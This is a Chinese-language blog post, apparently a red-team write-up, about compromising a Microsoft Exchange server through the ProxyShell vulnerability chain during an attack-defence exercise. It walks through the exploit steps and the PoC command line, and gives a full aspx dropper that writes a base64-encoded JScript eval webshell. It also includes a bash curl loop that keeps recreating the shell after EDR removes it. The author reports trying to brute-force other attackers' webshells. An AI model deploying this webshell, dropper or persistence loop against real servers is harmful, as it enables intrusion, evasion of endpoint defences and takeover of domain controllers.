分享

实战|记一次攻防Exchange艰难getshell

 冲天香阵 2023-10-04 发布于甘肃

免责说明

本文章仅供学习交流和安全研究使用,请勿用于违法行为,否则后果自负!


由于最近几个月忙着hw没时间写更新,现在闲下来了写写hw的时候遇到有趣的一些漏洞。

在一次市级hw中遇到CVE-2021-34473,edr 杀软绕的我好辛苦。

图片

这个exchange是需要配合这三个漏洞组合getshell的:

CVE-2021-34473 Microsoft Exchange ACL绕过漏洞CVE-2021-34523 Microsoft Exchange权限提升漏洞CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞

漏洞影响范围:

Microsoft Exchange Server 2010Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019

复现流程:

首先使用SSRF漏洞,请求AutoDiscover服务,获取legacyDn将legacyDn作为参数,访问mapi/emsmdb接口,能够获得用户对应的sid在Header中使用SerializedSecurityContext,指定用户身份进行EWS调用操作

我们可以直接利用脚本进行攻击
1.首先我们需要生成一个加密的webshell
webshell加密脚本:
https://github.com/Ridter/proxyshell_payload
在proxyshell_payload.py中修改
图片
修改末尾的图中的地方,将其替换为webshell
然后运行得到payload(encode部分):
图片
2.利用脚本进行攻击
利用exp:
https://github.com/dmaasland/proxyshell-poc
然后安装依赖,将上一步得到的payload,复制到proxyshell_rce.py的314行中:
图片
python proxyshell_rce.py -u https://.xx/ e administrator@xxx.xx
运行程序后,依次输入:
Get-MailboxExportRequestGet-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$falsedropshell
图片
图片
提示shell的地址访问可以看到写入成功
图片
正常来说直接连接马就行了,但是我连了半天还是没反应,过段时间再访问就404,猜测有杀软,利用免杀马重新上传显示错误。
图片
猜测符号和限制长度的问题,绕了好久还是不行,于是跟其他师傅交流了一下,试试能不能将列表列出来。
图片
列出目录文件,发现有很多马子,这里有个思路就是看看能不能利用别人的马子爆破连接密码进行连接,但是访问了一下全是404,估计是有waf拦截,我就说为什么那么明显的漏洞没人成功进去,进去的话早就扣分了,但是防守排名这个公司还是前几名,分数没有被扣除。
图片
然后换另一种思路,写入一个生成木马的aspx
<%@ Page Language='C#' %><html><head></head><body><%string filePath=Server.MapPath('./123.aspx');string base64Content='PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK';byte[] contentBytes=System.Convert.FromBase64String(base64Content);string content=System.Text.Encoding.UTF8.GetString(contentBytes);System.IO.File.WriteAllText(filePath,content);%><h1>success</h1></body></html>
内容就是在aspx文件根目录生成一个文件内容是123.aspxPHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK利用base64解密写入123.aspx
base64里就是一句话aspx木马,aspx是可以用JavaScript来作马的。
<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['tangant'],'unsafe');}</script>
图片
然后重新上传,访问上传成功的文件,提示success说明就写入成功了。

图片
访问aspnet_client/123.aspx
图片
成功写入,连接webshell。
图片
图片
最高权限都不用提权了,还是两个域控!!并且还有亚信edr。
图片

由于时间有点晚了,就睡觉了

结果第二天醒来,全部404!但是漏洞还没有修复!

然后重新上传了,发现还能用,但是没过一分钟马子就被删除了,猜测运维是安装了杀软 edr。真的要命啊,一hw基本上都是edr~

冷静,想了想虽然过一分钟就删除马子,那我们是不是可以一直访问上传马子的链接就可以一直生成马了,相当于不死马的一样。

然后写一个sh脚本挂在服务器上一直访问那个链接

#!/bin/bash
while truedo curl -ki https://xx//aspnet_client/ixxxot.aspxdone
然后通过这个漏洞直接打穿!

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多